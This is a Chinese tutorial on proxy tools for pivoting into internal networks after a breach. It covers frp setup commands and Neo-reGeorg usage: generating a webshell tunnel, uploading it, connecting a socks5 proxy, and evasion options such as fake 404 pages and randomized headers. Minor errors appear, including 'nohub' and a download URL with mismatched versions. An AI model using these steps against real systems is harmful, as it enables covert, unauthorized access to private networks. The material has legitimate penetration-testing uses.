正向、反向代理工具的典型案例介绍
1.代理介绍
1.1 代理简介
代理,又叫做网络代理,是一个特殊的网络服务。是允许一个客户端以非直接连接的方式去访问服务端。一些网关,路由器等都具备代理服务的功能。一般,认为代理服务器可以极可能的保障网络终端的设备安全,防止攻击。当然在内网中我们也可以代理出内网的流量(利用代理工具)进行访问。在本地可以对内网进行一个渗透。准确的来讲,代理是一个动态转发并映射端口的结果。这种结果能帮我们有限的去隐藏身份,不受IP限制的封锁。
1.2 正向代理
是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器取得内容,客户端向代理服务器发送一个请求并指定目标,然后代理服务器向目标服务器转交请求并将获得的内容返回给客户端。
正向代理类似一个跳板机,代理访问外部资源
比如我们国内访问谷歌,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到代理服,代理服务器能够访问谷歌,这样由代理去谷歌取到返回数据,再返回给我们,这样我们就能访问谷歌了
我们在获得外网服务器的一定权限后发现这台服务器可以直接或者间接的访问内网 ,此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许来自外网机器的访问的。这时候,我们可以将这台外网服务器设置成为代理,使得我们自己的攻击机可以直接访问与操作内网中其他机器。
按照代理协议在TCP/IP协议栈中所处的位置,可以将正向代理分为HTTP代理和socks代理。HTTP代理技术要求所有代理流量按照HTTP协议进行传输,使用socks代理技术则可以在直接在网络层传输代理数据包。HTTP代理工作在应用层,socks代理工作在网络层,所以socks代理技术比HTTP代理快很多。
作用:
1 | 1.突破访问限制:通过代理服务器,可以突破自身IP访问限制,访问国外网站,教育网等。 |
1.3 反向代理
反向代理是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务 器上得到的结果返回给Internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。
作用:
1 | 1.隐藏服务器真实IP:使用反向代理,可以对客户端隐藏服务器的IP地址。 |
1.4 代理类别
- HTTP代理
- SOCKS代理
- FTP代理
- Telnet代理
- SSL代理
1.5 Socks代理
什么是Socks协议?
1 | 中文意思:防火墙安全会话转换协议,工作在OSI参考模型的第5层(会话层)。因为Socks介于传输层与表示层之间,使用TCP协议传输数据,不提供ICMP协议的传输。 |
2.Frp反向代理
2.1 Frp简介
Frp 是一个可用于内网穿透的高性能的反向代理应用,支持TCP、UDP协议,为HTTP和HTTPS应用协议提供了额外的能力,且尝试性支持了点对点穿透。frp 采用go语言开发。更多的人使用 frp 是为了进行反向代理,满足通过公网服务器访问处于内网的服务,如访问内网web服务,远程ssh内网服务器,远程控制内网NAS等,实现类似花生壳、ngrok等功能。而对于内网渗透来讲,这种功能恰好能够满足我们进行内网渗透的流量转发。FRP最大的一个特点是使用SOCKS代理,而SOCKS是加密通信的,类似于做了一个加密的隧道,可以把外网的流量,通过加密隧道穿透到内网。
2.2 Frp实现原理
Frp 主要由客户端(frpc)和服务端(frps)组成,服务端通常部署在具有公网 IP 的机器上,客户端通常部署在需要穿透的内网服务所在的机器上。内网服务由于没有公网 IP,不能被非局域网内的其他用户访问。隐藏用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信。
2.3 为什么使用Frp
通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
1 | 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。 |
2.4 Frp使用
搭建一个完整的frp服务链,我们需要
- VPS一台(也可以是具有公网IP的实体机)
- 访问目标设备(就是你最终要访问的设备)
- 简单的Linux基础(会用cp等几个简单命令即可)
首先,我们需要将FRP的服务端部署到公网VPS上,然后在我们拿下的那台内网主机上部署FRP的客户端,FRP在github上有多种版本,有些是有配置文件的,这样的话就需要在客户端和服务器端分别配置两个文件,客户端的文件分别是frpc文件和frpc.ini文件;服务器端的文件分别是frps文件和frps.ini文件。
常用命令:
(1) 启动frp客户端
1 | Linux: ./frpc -c ./frpc.ini |
(2) 后台启动frp客户端
1 | Linux: nohup ./frpc -c ./frpc.ini & |
(3) 启动frp服务器端
1 | Linux: ./frps -c ./frps.ini |
(4) 后台启动frp服务器端
1 | Linux: nohub ./frps -c ./frps.ini & |
(5) 控制台
1 | wget https://github.com/fatedier/frp/releases/download/v0.9.3/frp_0.34.1_linux_386.tar.gz |
如果没有必要,端口均可使用默认值,token、user和password项请自行设置。
1 | “bind_port” 表示用于客户端和服务端连接的端口,这个端口号我们之后在配置客户端的时候要用到。 |
(1) 完整的服务器端配置文件
1 | [common] 是必需的[common] |
(2) 完整的客户端配置文件
1 | [common] 是必需的[common] |
3.Nero reGeorg 正向代理
3.1 Nero reGeorg 简介
Nero reGeorg 内网穿透工具,是应用层的HTTP隧道,传输内容经过变形 base64 加密,伪装成 base64 编码,避免特征检测、提高传输内容保密性。
Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
- 提高 tunnel 连接安全性
- 提高可用性,避免特征检测
- 提高传输内容保密性
- 应对更多的网络环境场景
3.2 Nero reGeorg 原理
reGeorg主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个隧道。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
reGeorg由服务端和客户端两部分组成。服务端有php、aspx、asph、jsp、node.js等多个版本,客户端则由python编写。其工作原理可简单描述为python客户端在本地监听一个端口,提供socks服务,并将数据通过http/https协议发送到服务端上,并从服务端上用socket实现转发。
3.3 Nero reGeorg 应用场景与功能
如果我们获取到了一个webshell,但是这台主机无法访问外网(就是不出网),如果我们想内网渗透,那就要利用到regeorg通过HTTP隧道建立socks5通信,
HTTP端口复用,是正向的HTTP隧道socks5代理。
功能
- 传输内容经过变形 base64 加密,伪装成 base64 编码
- 直接请求响应可定制化 (如伪装的404页面)
- HTTP Headers 的指令随机生成,避免特征检测
- HTTP Headers 可定制化
- 自定义 HTTP 响应码
- 多 URL 随机请求
- 服务端 DNS 解析
- 兼容 python2 / python3
- 服务端环境的高兼容性
- (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
- aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
- (非 php) 支持内网转发,应对负载均衡环境
3.4 Nero reGeorg 使用
常用命令:
(1)生成webshell
设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
1 | $ python neoreg.py generate -k password |
(2)上传webshell
(3)Neoreg连接webshell
使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
1 | $ python3 neoreg.py -k password -u http://xx/tunnel.php |
注意,如果你的工具,如 nmap 不支持 socks5 代理设置,请使用 proxychains等工具。
高级方法使用
- 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
1 | $ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404 |
- 如服务端 WEB,需要设置代理才能访问
1 | $ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080 |
- 如需 Authorization 认证和定制的 Header 或 Cookie
1 | $ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2" |
- 需要分散请求,可上传到多个路径上,如内存马
1 | $ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ... |
- 开启内网转发,应对负载均衡
1 | $ python neoreg.py -k <you_password> -u <url> -r <redirect_url> |
- 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
1 | $ python neoreg.py -k <you_password> -u <url> -t <ip:port> |